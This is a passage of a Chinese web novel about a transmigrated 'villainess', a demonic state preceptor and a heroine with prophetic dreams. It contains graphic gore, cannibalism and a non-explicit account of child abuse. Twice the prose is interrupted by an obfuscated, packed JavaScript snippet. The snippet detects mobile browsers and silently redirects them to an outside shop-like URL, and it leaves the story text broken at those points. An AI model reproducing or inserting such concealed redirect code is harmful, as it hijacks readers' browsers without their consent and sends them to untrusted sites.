纪春洲叩首,双手接过那卷敕令,声音里听不出任何多余的情绪:“属下谢国师大人隆恩。” 云霜简居高临下地看着他,嘴角的笑意加深了几分。他转过身,走到那摊烂肉旁边,蹲了下来。纪双扉浑浊的眼睛里倒映出他的影子,嘴唇翕动着,像是想说什么,却只能发出嗬嗬的气音。 “纪双扉,身为缉妖司前任统领,明知京中妖祸将起,却护卫不力,致使妖孽横行、百姓罹难,更连累了侯府世子险些丧命。”他伸出手,轻轻捧起了那滩烂肉里浮动着的一颗眼珠,借着月光细细观赏着。 “前纪统领自知罪孽深重,无颜苟活,已于今日自裁谢罪。本座虽深感痛惜,却也敬其功勋,当以九幽之礼厚葬。” 那颗眼球猛地瞪大了,那堆肉里还算比较完整的喉咙发出一种绝望的、破碎的声音。纪双扉想要挣扎,可他的身体已经被毁得不成样子,连一根手指都动不了。他只能那样瞪着眼睛,看着云霜简,看着自己的亲弟弟。 月光下,咀嚼声混着血花四溅的声音。那串白玉菩提溅上猩红,反倒透出一种妖异的华美。暗影里的纪春洲始终跪着,脊梁如铁铸般纹丝不动,连眼皮都没有抬一下。 云霜简站起身来,却依旧是那副面若冠玉的模样,重新走回纪春洲面前。他居高临下地看着这个跪在地上的人,忽然伸出一根手指,挑起了纪春洲的下巴,迫使他抬起头来与自己对视。 两张脸相对而视,一个高高在上,一个仰面跪伏,中间似乎只隔着一层月光织成的柔柔的白纱。 “这样的结果,”云霜简微微偏头,淡蓝色的眼睛闪烁着潋滟波光,“你满意吗?” 纪春洲的眼睛里没有任何波澜。他看着云霜简,瞳孔深处映出那张温柔到极致的脸,像是仰望神明,又像是注视深渊。 “满意。”他轻声说,嘴角甚至微微上扬了一些,“是大哥自己贪心不足。他本是妖,能得国师大人青眼,入缉妖司效命,已是三生有幸。可他偏要私下联络烛怜光,派方青箬入镜花水月,白白折损了一员大将不说,还让那蛟妖吞了镜花水月的根基。” “若非他从中作梗,此次行动本不至于让那蛟妖有机可乘。他死得不冤。” 云霜简的手指还停留在纪春洲的下巴上,指腹摩挲着他下颌的弧度,像是情人的抚摸。他听着纪春洲这一番话,眼里的光一点一点地亮了起来。 “你倒是看得透彻。”云霜简收回了手,指尖从纪春洲的下颌滑到他的喉结,轻飘飘地掠过,像一片羽毛落下来又飞走。 纪春洲垂下眼睛,声音低了下去:“属下只是……不想步大哥的后尘。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576323|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云霜简笑了起来。那笑声很低,带着一种让人骨头缝里都发痒的蛊惑力。他弯下腰,双手撑在纪春洲两侧的肩膀上,几乎是把他圈在了自己的影子里。 “不会的。你这么聪明,这么懂事,本座怎么舍得让你步他的后尘?” 纪春洲抬起头,两人的距离一下子被拉得很近。角落里那团被嚼碎了的残余血肉还散发着血腥气,简直诡异到极点。 “本座只看得上头颅,余下的便赏给你了,本座诚心天地可见。本座舍不得你,自不会这样对待你。”届时他可能会把纪春洲的头颅留下来吧?多个骷髅头藏品倒是不错。 纪春洲低首回答:“国师大人,有件事,属下觉得有必要禀报。” “哦?”云霜简没有退开,保持着这个暧昧到危险的距离。 纪春洲压低了声音,将头埋得更低:“那蛟妖……恐怕并非单纯为祸京城。它的真正目的,似乎是声东击西,借我们缉妖司的手运起灵力,趁乱将它的心脏……直接换给了那沈家侯府世子。” 云霜简的瞳孔微微缩了一下,随即又舒展开来,像是听到了什么有趣的事情。 “属下方才去沈府探过那小侯爷,”纪春洲继续说道,“他醒了,活得好好的,那颗蛟心正在他那里。属下对他说,那心脏是我们从蛟妖身上剖下来给他的,他也装作信了。” “装作?”云霜简的眉毛微微一动。 “那小侯爷像是在哪儿见过属下,之前也发生过离魂之事,他却不肯说任何与那蛟妖相关的。那蛟妖和沈家世子之间似有勾结。” 云霜简闻言笑了,他笑起来的时候好看极了,如观音现世普渡众生。他伸出手,捧住纪春洲的脸,拇指轻轻抚过他的颧骨,像是在对待一件稀世珍宝。 “春洲啊春洲,”云霜简的声音低哑,带着一种让人头皮发麻的愉悦,“你比纪双扉聪明太多了。他只知道贪,却不知道什么东西该贪,什么东西不该贪。而你……”他的拇指停在了纪春洲的唇边,轻轻一按,“你知道什么东西值得拿,也知道拿了之后该怎么用。” “从今日起,你就是我的手,我的眼。”云霜简握住纪春洲的手,将那白玉菩提塞进他掌心,然后十指扣紧,像是在完成某种仪式,“那蛟妖和沈家世子的关系,确实可以做大文章。你先不要打草惊蛇,容本座好好想想,该怎么用这颗棋子。” 纪春洲低头看着掌心的,再抬头时,眼里已经盈满了某种近乎虔诚的光芒。他看着云霜简,像是在看这世间唯一的神祇。 云霜简低下头,在他额头上落下一个吻。那吻像是一片雪花落在皮肤上,只留下一丝若有若无的寒意,顺着额头的血管往下淌,最后沉入胸腔里,慷慨地给予了他生命延续下去的力量。 “去吧。”云霜简直起身,退后一步,重新隐入黑暗中,只露出一双含笑的眼睛。 纪春洲站起身,将白玉菩提收入怀中,朝云霜简深深一揖。他的目光扫过地上那团已经彻底不动了的血肉,已经想好如何饱餐一顿了。 35. 春梦噩梦都是她 通过那禁制以后,柳知微的意识沉入那片混沌的识海,系统冰冷的提示音在耳畔响起。 【权限校验中……当前权限等级:三级。可回溯范围:原著提及柳清圆的时间节点。】 柳知微有些失望,柳清圆身上的谜团太多,而她的权限只够从最基础的节点切入,记忆回溯只能从柳清圆回柳府那段剧情开始。 记忆回溯启动的瞬间,柳知微眼前的画面开始流动,耳畔响起了哗哗的流水声。 最先看见的是一条清澈的河。阳光碎在水面上,波光粼粼,柳知微被光刺得眼睛眯了眯。 柳清圆蹲在河边,袖子挽到小臂,露出一截手臂,正全神贯注地盯着水里的鱼。而她身旁蹲着一个蓝衣少年,一如既往地憨头憨脑,就蹲在河边拿石子垒成一堆,哗啦一声倒了,鱼全惊跑了。 柳清圆眼疾手快,一把抄起水中那条乱蹦的鱼,顺手就朝谢济泫脸上甩了过去。鱼尾噼里啪啦地抽了他好几个耳光,他却像傻了似的,一动不动。 少女笑得弯了腰,一手叉腰,一手指着他,直不起身来。身后是越家溪的山水自然,她就像一株迎风的白铃兰,清清脆脆地开着。 记忆回溯让她分享了识海主人的情绪,柳知微沉浸其中,也跟着满心欢喜。这样简单纯粹的柳清圆,她不曾在剧本中见到过。 剧本里对柳清圆的过去着墨甚少,只写她回到柳府后受女配欺凌,忍辱负重,而后幸得贵公子垂怜,终于夺回属于自己的婚约。嫁入封府后,又开始宅斗线,被恶婆婆百般刁难。后来女主阴差阳错救了巡游的少年皇帝,结果一见钟情被其强抢入宫。入宫之后,她又与国师、武林盟主等男配角上演生死虐恋,最终伤身又伤心。故事本要开启成神篇,谁知作者直接弃了坑,女主的人生便就此定格。 这样看来女主的确变了很多,她之前的人设是逆来顺受,等待天降救星,总想依附于一个更强大的存在,求告别人将她救出苦海。 而自从她将女主从越家溪带回来之后,柳清圆不是装柔弱讨好,就是茶言茶语地压她一头,绵里藏针,句句都是圈套。女主觉醒以后手段更加高明,加之两人立场本就水火不容,自然一直明争暗斗。至少柳知微这个拼命赚积分的牛马,真心是这么认为了。 只是不知女主是什么时候觉醒的,又是因为什么而发生这样的变化。世界规则失序是一,那其他的呢? 画面开始快进,柳知微拨动着那些记忆,飞速掠过那些日常琐碎,然后停在了她和柳清圆第一次相见的剧情节点那里。 这里正是她穿书后不久,为了给女主一个下马威,把柳清圆按在悬崖边上找茬的场景。 隔着记忆,她重新感受到柳清圆那时的心绪。那股杀意从心底翻涌上来,冰冷而锋利,但最终却被硬生生压了回去。柳清圆选择了忍气吞声,选择了退让。 但让柳知微真正在意的是另一件事。她能模糊地感觉到,在柳知微出现之前,柳清圆就对“柳知微”这个角色产生过杀意。这股杀意像是早已埋在地底的根,只待一个破土的时机。 柳知微凝神,循着那条幽微的线索追根溯源。记忆的深处,另一重画面浮现出来。 果真如她之前所猜测的那般,女主是拥有预知能力的,主要便是以梦的形式出现着接下来的剧情,甚至是原著里都没有的事情。 在那个梦里,柳知微还很小很乖巧,亲昵地扑进柳清圆的怀里,真心实意地喊着姐姐。柳清圆笑着伸手抱住她。 然后,那把骨刃无声无息地没入了心口。 小小的女孩脸上还挂着甜美天真的笑容,手上却稳稳地将骨刃送进去。鲜血涌出来,温热地润湿了两个人的衣襟,柳清圆甚至在那几秒里,还下意识收紧了怀抱,微微弯下腰,让怀里的女孩子稳稳落地。 早在很久以前,柳清圆就预知到她会杀了自己,早就料到了柳知微是恶毒女配,两人之间就是你死我活的局面。 预知梦是女主觉醒后常见的金手指之一,但是柳清圆的这个梦明显不太一样。它更像是某种循环式的警示,从柳清圆八岁开始就夜复一夜地缠着她,反复地告诉柳清圆:柳知微会杀你,柳知微会背叛你,柳知微是你最大的威胁。 这就解释了为什么柳清圆在见面对她抱有杀意。不是无端的敌意,而是被预知梦反复警告后的本能反应。 “所以女主一开始就对我有防备。”柳知微喃喃自语,“但这就更奇怪了,既然知道我会杀她,为什么后面反而……” 她没有把话说完,继续往下追溯。记忆的时间线继续往后拉,推到柳清圆刚进柳府不久。那时候的柳清圆已经能通晓鬼神之事,她的天赋在这个时期就已经显露出来。 春日宴前夕。 柳知微看见自己在夜晚乔装打扮,悄悄潜入柳清圆的房间,将准备好的一套礼服与柳清圆的做了调换。做完这一切她就离开了,系统奖励到手,她以为做的天衣无缝。 但柳清圆在第二天早上就察觉到了不对劲。 她唤出了柳知微留在房间里的小鬼,那是柳知微驱使的低阶灵体。鬼物在柳清圆面前瑟瑟发抖,就只能招出了柳知微。 但是招的全是柳知微接住了梦游的她,然后艰难地唱歌哄她睡觉。那小鬼哭唧唧地说着,添油加醋,把柳知微这个偷偷潜入别人家里干坏事儿的恶毒女配成功洗白。 柳清圆将信将疑,开始在春日宴上试探她。 柳知微从柳清圆的视角,看见自己兴冲冲地拿出那个香囊。那是花妖为她准备的陷阱,香囊里藏了妖毒,如果柳知微在宴会上把它送给旁人,就会惹出大祸。 但柳清圆看穿了,她预感到今日有危险,春日宴上她的灵觉也清楚地感应到那香囊中的妖毒。她接近柳知微,明里暗里提醒那香囊有鬼,虽不知柳知微打着什么算盘,但却真的想让她躲过一劫。而这一切只是因为想要报答柳知微昨晚为她唱安眠曲的恩情,女主是真的恩怨分明。 柳知微看到这一幕,整个人愣住了。她一直以为那是女主布的局。 在原著的时间线里,她把柳清圆的每一步行动都推演过无数遍,最后得出了一个笃定的结论:女主是重生的,女主知道所有剧情,女主表面装得人畜无害,实则步步为营,一心要把她这个恶毒女配置于死地。春日宴上那番劝告不过是伪善的手段,后来发生的一切,全都是演出来的。 但现在,从柳清圆的记忆里,她看到的却是截然不同的东西。 柳清圆的劝告,是真心实意的。那一丝好意的来源,竟然就是那一次阴差阳错的哄睡。 记忆继续推进着,春日宴上柳知微被花妖缠住的那一幕出现了。 从柳清圆的视角看过去,柳知微的身体被花妖的藤蔓缠住,意识逐渐涣散。园外的宾客都在把酒言欢,没有人注意到柳知微的异状。 这一次通过记忆回溯,柳知微看到了自己昏迷之后发生的事情。 那个平日里温温柔柔的柳清圆,此刻使出的法术却凌厉得惊人。她没有给花妖任何机会,一击便是彻底灭杀。待残肢碎屑纷纷扬扬落下,她只是随手一个法诀,便连这点痕迹也清得干干净净。 然后她进入了幻境,那是花妖营造的迷障,专门困住人的心神。柳知微的意识被困在里面兜兜转转,柳清圆进去的时候,花妖残留的意识还想反抗,被柳清圆彻底抹去了。 她撕开虚空,看见被藏进了灵障之内的柳知微正握着那柄骨刃,刺入那幻影的灵窍,抹除了那个bug。在柳知微性命垂危之际,柳清圆带她出来幻境,到这里就该恩尽债消。 然而后来在谢济泫的助力下,柳清圆又得到了那个香囊。她转而将那东西装作很不小心地落在了柳知微那里,然后引她上钩。 柳知微在女主的视角之下,似乎看见了那天藏在她裙摆旁边的系统。虽然只是一闪而过,她了解到女主只是因此怀疑她可能也有驾驭鬼神之术,但柳知微还是被吓了一大跳。 当晚,柳知微果然去了柳清圆的房间试探。两个人之间的交锋像一场精心编排的戏,你来我往,针锋相对又暧昧丛生。 然后那个吻落了下来。 柳知微现在终于知道,那一吻是柳清圆故意的。她从记忆里读到柳清圆当时的心绪:妹妹有趣,想要逗弄一下她。 “所以她亲我,只是一时兴起为了看看我会什么反应?”柳知微暗自松了口气,“还好还好,还以为女主真的……” 然而还没来得及庆幸,柳知微就看见了此生难以忘怀的画面,整个 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“我靠靠靠靠靠女主人设崩得没边了!”柳知微面无表情地在心里打了个标签,“原著里那个清冷隐忍的女主哪里去了!这人是申金吧?一边防着我杀她,一边在梦里跟我翻云覆雨的,这到底是人形的扭曲还是道德的沦丧?!!!!!” 她沉默片刻,决定不再去想这个问题。再想下去,她怕自己的脑子会烧掉,或者也被弄得皇皇的。 记忆回溯到此结束。 意识被缓缓拉回识海空间,柳知微睁开眼睛,看见她那张华贵的女王宝座。那是系统为了配合她的人设特意给她配置的,镶金嵌玉,气派非凡。而此时,一只柴犬正脚忙脚乱地从宝座上跳下来。 芝麻慌乱地从狼王模式调整到了蠢萌模式,它正在欲盖弥彰地遮掩着宝座上的好几个灰扑扑的梅花印。显然是在柳知微回溯记忆的这段时间里,没人管它,它就撒欢了。 【诶宿主大大,您怎么这么快就回来了呀,这不是还有一天的时间吗?】 系统清了清嗓子,然后若无其事地继续:【宿主大大怎么样怎么样?找到什么线索啦?~(^з^)-☆】 它顿了顿,眼睛亮晶晶地看着柳知微,尾巴不自觉地摇了摇,【宿主大大这么能干的,一定已经在盘算大计了吧?是不是发现了什么惊天大秘密?】 柳知微靠在宝座上,一条腿随意地搭在扶手上,单手撑着下巴。她看起来和往常没什么两样,依旧是那副慵懒从容的女王做派。 但只有她自己知道,她现在满脑子都是那些梦。 柴犬系统还在那里摇尾巴,一脸期待地等着她发号施令。它注意到柳知微没有第一时间说话,又补充道:【宿主大大,您怎么了?是不是回溯消耗太大了?要小的给您来碗热鸡汤吗?】 柳知微终于开口了,声音里带着一丝微弱的颤抖:“系统,关于女主……我需要上报。” 系统一愣:“上报什么?” “女主出现了严重的OOC现象,”柳知微说,努力使自己镇静下来。 “她拥有预知类金手指,这和她原著中的人设存在冲突。另外,她的行为逻辑和原著描述有重大偏差,具体表现在……多个方面。我需要将这些情况整理成报告,提交给总部审核。” “OOC?”系统歪着柴犬脑袋,“具体什么方面的OOC?” 柳知微沉默了三秒钟。 “……梦。”她最终只说出这一个字。 “梦?” “反正事态已经发展到了很严重的地步。”柳知微愁眉苦脸地说,“女主不仅有预知梦这个金手指,还掌握了不属于这个世界的技能,已经不受此间天道设定的控制。这件事必须越级上报,让总部来定夺。” 柴犬系统敏锐地捕捉到柳知微话语中省略的大量信息,但它很有眼色地没有追问。它跟在柳知微身边这么久,已经学会了什么时候该闭嘴。 【好的宿主大大,我去准备上报材料。】系统说完,又偷偷看了柳知微一眼,然后屁颠屁颠地跑去工作了。 识海空间安静下来。她脑海里不受控制地又浮现出那些画面,那些暧昧的纠缠的、不该存在于柳清圆记忆中的画面。 “柳清圆……你到底是个什么样的人?” 36. 东风犹怜草木青 柳家祠堂。烛火幽幽,将人影拉得颀长而飘忽。 柳清圆立在牌位架前,指尖有一搭没一搭地拨着那些刻满柳氏历代先祖名讳的木牌,而越阿毓三个字,自然不曾出现于此。 身后,一只黄色的小兔子被灵力锁缚着四肢,蔫蔫地跪在蒲团上,两只长耳朵垂落下来,模样倒是乖觉。它自被柳清圆擒住那日起,便困在这法阵中央,连日无人理会,直到今夜才又被提来问话。 “两天。”柳清圆转过身,目光落在那团小小的身影上,“你说的两天以内莺莺便能醒转过来。” 她顿了顿,“可到现在,她还是在没有睁开过眼睛。” 沉默。 “你不说,我也有办法知道。”柳清圆伸手推倒了一个牌位,那一声轻响落在寂静里,像某种宣判,“只是那法子不太体面。你受得住,我也不忍心。” 烛怜光浑身发颤,仰头道:“奴不敢说谎。那法阵再怎么样,也不该伤到令妹魂魄离体。平常昏迷,最多两日便醒了……何况那法阵,本就是为您设的。” 按照主上的安排,烛怜光本该和姐妹们假扮成明月楼的花娘,借着地段的便利,悄悄给那些目标人物种下“种子”。可她与纪双扉有过一段旧情,便每每借着职务之便邀他前来,幽会苟合。后来为了立下大功,她甚至派出方青箬去设局,谁知方青箬竟遭了毒手。 为了掩盖痕迹,他们在明月楼布下阵法,打算将柳家那两个小丫头抓来,好探明背后的黑手究竟是谁。可哪里想到,那柳清圆早已将计就计。他们大大低估了她,最终反被阵法反噬。 之后眼看局面失控,竟然又凭空冒出一条蛟妖,把整个局势搅得更乱。他们再也没有翻盘的机会,甚至惊动了主人。主上派来纪春洲,本是要将他们二人一并抓回去的。可就在阵法反噬之前,纪双扉一把将烛怜光推了出来,她就这样落在了柳清圆手里。 临别前,纪双扉说,他会来救她的。 但烛怜光心里清楚,若是落在主上手里,她一定会死得很难看,极惨极惨的那种。相比起来,落在柳清圆手里,反倒好一些。 所以她决定求生,她尽量表现得顺从,也小心翼翼地拿捏分寸。烛怜光知道自己还有利用价值,只要不触及那个秘密,她就还有转圜的余地。 烛怜光重重磕了个头,急声说:“那日您带奴过去,奴亲手吸尽了她体内的残毒,您看得一清二楚。若她至今未醒,求您再带奴去一回。奴只需分一缕妖力化为探丝,直入她灵窍。她既中过妖毒,便不会抗拒奴的妖力,更不会伤她分毫。” 柳清圆神色淡下来,懒得再与它周旋:“够了,我没工夫跟你耗。” “你那点小聪明,使错了地方。你还以为真能藏住什么?你那妖核里的死咒,我一眼就看穿了。正因为有那层关系在,我才找不到背后指使你的人。如今我妹妹迟迟醒不过来,你还想着拖延?” 柳清圆指尖凝起一道灵光,抵在那小兔子的额间,眸中泛起一层水蓝色的微光。 “不如我自己来探个明白。就让你连同那道死咒,一起湮灭好了。” 烛怜光终于彻底崩溃,一阵深深的恐惧笼罩了她,她浑身剧烈地颤抖起来,拼命催动所剩无几的妖力做最后的抵抗。可那层脆弱的屏障几乎在瞬间便被法力碾碎,她的目光渐渐空洞。 搜魂之术,阴狠至极。对方一旦中术,神智尽毁,连轮回畜生道的资格都没有。这原是纪双扉预备留给柳家姊妹的结局,可如今纪双扉自身难保,被主上严惩后生死不明,而烛怜光自己也已沦为阶下之囚。 “我不喜欢麻烦。与其多费口舌,不如直接看个明白。”柳清圆抬手,轻轻覆上烛怜光的头顶。 灵力如冰刃般刺入。烛怜光猛地一颤,瞳孔骤然放空。那些年深日久被刻意掩埋的记忆,此刻像被一双无情的手强行撕开,一件一件暴露无遗,再也无处躲藏。 柳清圆闭上眼睛,意识沉入那片纷乱的记忆之海。 大雪茫茫,漫天飞舞。 一个瘦弱的少年缩在破庙的角落里,身上裹着一张不知从哪捡来的草席,脚趾冻成了青紫色。他已经三天没有吃东西了,嘴唇干裂出血,意识模糊间,他觉得自己大概是要死了。 然后有人推开了破庙的门。 那是一个年轻女人,穿着洗得发白的青色道袍,头发用一根木簪随意挽着,背上背着一只竹筐。她看见墙角那个快要冻死的孩子,愣了一下,然后蹲下来,伸手探了探少年的鼻息。 “还活着。”女人的声音很低,像是很久没有跟人说过话,带着一种沙哑的温柔。 她把少年从草席里捞出来,解开自己的外袍裹住他,又从竹筐里摸出一块干饼,掰碎了泡在热水里,一小口一小口地喂进少年嘴里。 少年在昏沉中抓住那个女人的衣襟,像是抓住了最后一根浮木。 “怜姐姐。”他哑着嗓子喊了一声,也不知道自己为什么要这样喊,兴许是女人的温柔让他想起了在逃难中被饿死的姐姐。 女人没有纠正他。 “嗯。”她应了,轻轻拍了拍少年的后背,“先活着,活下来再说别的。” 山间小道,青衫女人牵着少年的手走在晨雾里。少年比之前高了一些,脸上也有了血色,但依旧瘦得像根竹竿。 “怜姐姐,我们去哪?” “回医庐拿些金银花给你用,你还有些发热。” 少年紧紧攥着怜姐姐的手,生怕再被丢下。回到医庐时,他发现这里还有七八个孩子,都是被这位姐姐捡来的。他们有的叫她姐姐,有的唤她娘亲,而双双叫她怜姐姐。 那正是大荒之年,战乱四起,孩子们都无家可归了。怜姐姐原本懂些除妖的法门,便在山上做了道士,又通医术,到底心软,渐渐开始出世。每次外出除妖,总要捡回几个快要咽气的孩子。 医庐前种着一棵金银花,旁边还长着别的草药。孩子们在这乱世里终于结束了颠沛流离的日子,虽然依旧饥一顿饱一顿,却总算有了落脚的地方。 他们学着整理药材,上山捡柴,有时也试着打猎。春天的时候,还是有两个孩子饿病死了,怜姐姐哭得很伤心。那年的金银花开得正好,她和孩子们一起,把多余的花编成两个花环,搁在两座小小的坟包上。 夜里,孩子们说起小白和小黑,都忍不住掉下泪来。 小白是从家里逃出来的。父亲死后,母亲和村里的闲汉搅在了一起。那男人喝醉了,在小白身上又亲又摸,母亲却在一旁慈爱地笑着。 第二天日头升起时,母亲告诉她:小白,你是个女人了。小白缩在角落里,眼泪扑簌簌地掉,后来她跑了,在茫茫大雪里拼命地跑,直到倒在地上,被雪盖住。 怜姐姐捡到小白时,孩子的手脚已经冻坏了。她尽力救治,小白最终还是失去了一只手和一条腿。靠着汤药吊着命,小白常发高热,昏沉之中,看见床前那个青衫女人,便脱口叫了一声“母亲”。 母亲抱着她,哄她睡觉,那目光慈爱至极,和她把小白推向那个男人时一模一样。 怜姐姐是小白的母亲,也是小黑的姐姐。 小黑家穷得厉害,他是最小的孩子,本该是家里最受宠的,却偏偏碰上了荒年。父亲饿死在雪地里之后,姐姐抱着他哭了好久,家里人都在哭。他们邻居家里也揭不开锅了,今日却出现在了小黑家中,怀里还抱着个刚出生的婴儿。 没有办法了,父亲死了,家里没了顶梁柱,是保孩子还是保大人,答案摆在眼前。姐姐牵着小黑的手,把他交给邻居,邻居牵起他,说带他去吃饱饭。姐姐接过了邻居怀里的婴儿,那个孩子还在襁褓之中啃着手指头。 小黑看见姐姐笑了,在父亲死去的阴霾里,她终于笑了,于是他也转身对邻居笑了笑,跟着走了。门一关,他一棒子被打昏过去,醒来时发现自己正被人开膛破肚。小黑好痛,好怕……姐姐,阿娘,小黑要被人吃掉了,你们知道吗? 他没有挣扎,只等着咽气的那一刻。可就在这时,一伙强盗来了,洗劫了村子,把剩下的老弱妇孺都杀了。怜姐姐赶到时,连杀了几人,在血泊里找到了奄奄一息的小黑。小黑笑着摇了摇头,还是死了,死之前他说自己家里还有个小孩子,怜姐姐快去救救它吧。 怜姐姐抱着他赶回家,只见满地都是横七竖八的尸体,没见到那刚出生的小孩子,而家里的那口锅里正飘出肉香。她揭开锅盖,只看了一眼,便再不忍看第二眼。她转身把小黑放进他家人怀里,在山上为他起了一座小坟包。 小黑是怜姐姐最后捡回的孩子。山上的金银花开了,他却活不过这个春天。东风送他走了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576325|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子们哭着小白和小黑,却不敢揭开自己的伤疤。几个在哭,另几个便来劝,劝着劝着,又一起哭了起来。只有怜姐姐还在笑着,哄他们说不准哭了,却也眼泪啪嗒啪嗒落着。 那棵金银花在这个春天开得很好。孩子们若有些风寒的小病,便摘些花来熬汤喝,剩下的花都做了药材,准备带下山去卖。 双双那天被轮着留下看家。他瘦弱的身子仿佛一吹就能倒下,却还是用力地劈着柴火,又把劈好的柴利落地捆起来,再将院子打扫得纤尘不染,浑身上下似乎有使不完的劲儿。日暮西山时,他做完了所有活计,便挨着那棵金银花坐下,巴巴地望着远门外的篱笆,盼着能有人影出现。 近日怜姐姐身子总不舒服,病得连床都下不了。孩子们都很担心,他们宁可自己死去,也不能让怜姐姐死去。 昏暗的房间里,四壁突然出现了密密麻麻的符文。青衫女人盘膝坐在阵法中央,脸色苍白如纸,嘴角挂着一丝血迹,再睁眼时,便露出那一双全黑的眼眸,没有一点眼白。 双双正坐在院前的泥地里,忽然听到那房间里传出沉重的呼吸声。他心里一紧,生怕怜姐姐出了事,急忙跑去看。到门前时,脚下被什么东西一绊,低头一看,竟是那棵金银花的根蔓到了门口,像活物一般缓缓蠕动。 怜姐姐有危险,而这根正拼命阻挠他靠近。双双心里害怕,却还是挥起柴刀,狠狠朝金银花的根砍去,然后冲进去救怜姐姐。 可他还来不及推开门,木门就被猛地从里面撞开。双双只觉得喉间一痛,原是怜姐姐咬破了他的喉咙。 后来发生了什么,双双已经记不太清了。他只听见“咔嚓咔嚓”的声响,还有旁人赶上山时接二连三倒地的动静。世界忽然变得好安静啊。 怜姐姐原来也是妖吗?养着他们,只是为了做口粮? 算啦。本来他们的命就是怜姐姐救的,那就拿去好啦。 双双微笑着闭上了眼睛。周围响起哭声,院中横七竖八躺着零落的尸体,怜姐姐独自坐在其间。院外那棵金银花迎着风簌簌飞落,枝叶很快凋尽,继而枯萎。 那金银花便是她的真身。可自从这一天起,她变成了妖魔,身不由己地成了嗜血的怪物。花仙子明明是灵物才对,那就只有那个地方,那个万物之源出了问题…… 柳清圆正待细细探究那究竟是何处,却被一股力量疯狂拉扯。是那死咒的作用,那个地方关切着真凶所在,绝不能为人所知。柳清圆拼命想要探入,然而烛怜光的意识猛地逆转,将她带回到一个陌生的所在。 那里阴森可怖,没有阳光,更无生气,只有杀戮与血光。 烛怜光自那里苏醒,一路厮杀,成了一个小头目,被那里的老大看中,管着一片小地方。某一天,那片小地方出现了一个妖魔,自称“双”。而烛怜光那时给自己冠的名号,是“怜”。 后来两人双双被提拔,被那所谓的主上派往人间。照着人间的名字,一个被安插成缉妖司统领,叫做纪双扉;一个执掌明月楼,叫做烛怜光。他们对特定的人下手,在其灵窍中种下东西。 柳清圆倏然惊醒。 搜魂术中断的反噬让她喉间涌上一股腥甜,她下意识按住胸口,急促地喘了几口气。祠堂里的烛火摇曳了一下,又稳住了。 烛怜光已倒地不起,面色如纸,目光涣散。然而她的嘴角却微微上扬,那笑容轻快而畅然,像一个终于可以卸下所有伪装的人。 柳清圆低头看着她,沉默了很久。 那个“万物之源”的秘密,烛怜光的记忆才露出一个边角,就被死咒生生掐断了。结合上次她在方青箬的妖核中看到的,阿毓最后现身之地名为古罗秘境……这二者之间,会不会藏着某种联系? 还有,这两次遇见的妖魔,方青箬的本体是兰花,烛怜光的真身是金银花。为何花草会突然之间沦为妖魔?阿毓曾经告诉她,草木本有灵性,譬如梅花被称为“报春之灵”,能感知天地间最早的生机。这样的存在,又怎会与妖魔扯上关系? 她弯下腰,伸手合上了烛怜光的眼睛。 那只黄色的小兔子已经没了气息,嘴角那抹笑容却还留在脸上,在幽幽烛火里,显出解脱和释然。 祠堂门外夜风又大了一些,将柳清圆的头发吹得纷乱,她低垂着眼:该去看看莺莺了。 37. 心非木石岂无感 柳知微在识海里又硬撑了一天。消息已经报给总部,记忆回溯的结果也证明她所言非虚,总部说会处理。她眼巴巴等着下文,等来的却是再等一个月左右,柳知微气得差点没把识海翻过来。 她还没从这巨大的打击里缓过神,更不敢去见柳清圆,只能窝在识海里折腾芝麻,让它天天给自己播报外面的动静。 【四月十五月圆夜,封瑾遥妖毒入髓,暴毙而亡。次日朝堂上,柳尚书当众弹劾封相,皇帝震怒,判封家秋后处斩,诛九族。柳清圆与炮灰哥那桩婚事,自然也就作罢了。】 【本文虐恋指数直线下降,原剧情里恶毒女配被卖进窑子的结局已彻底改写。但剧情点因此受到一定冲击,为防止后续积分不足,现开启后期高自由度剧情选择!一旦开启新剧情线,宿主将升级为二级任务者,解锁中级商城,并获得相应技能提升!】 【当前剧情线由您亲自打造,宫斗妖妃线、青楼复仇线、江湖流亡线、种田退隐线……任君挑选!】 “我当然选妖妃线!”柳知微两眼放光,攥着拳头深吸一口气,努力抑制住自己发出尖锐爆鸣声的冲动。 之前做过那么多次宫斗副本,柳知微总想弄死皇帝自己做皇帝试试,但是最后总是只能冷宫,有时候中大奖了还能开出个九族消消乐。这次转正了直接干死皇帝,再开个女尊世界,想想就爽! 然而那光屏闪过柳清圆的脸时,她就像被一盆冷水浇了似的,那股兴奋劲儿一下子全没了。 “系统,”柳知微认真思考了一秒,“你先回答我一个问题。” 芝麻蹲在一边用爪子扒拉球,闻言一愣,心说宿主又在装什么深沉,但还是老老实实回话。 【宿主大大请吩咐!】 柳知微问:“能给我换个新身体吗?开新剧情线的时候直接换一个新身份。” 【!】芝麻猛地嗷呜了一声。 【宿主大大您确定?】它急得直转圈,【您现在顶着“柳莺娘”的身份,任务完成度很不错,接下来参加选秀,和柳清圆一起入宫,姐妹反目,身世被揭穿,最后身败名裂。按这个设定走,人设值加倍,积分奖励更高啊!现在死遁属于强行跳剧情,总部不给备新身体,得拿您自己的积分买,多亏啊!】 柳知微叹了口气。她当然知道亏,可是没办法了,女主现在明显对她有意思,以后还怎么当面刷恶毒人设?那不是羊入虎口吗!就目前来讲,重新开始,才是明智的。 “就死遁了。”她语气坚定。 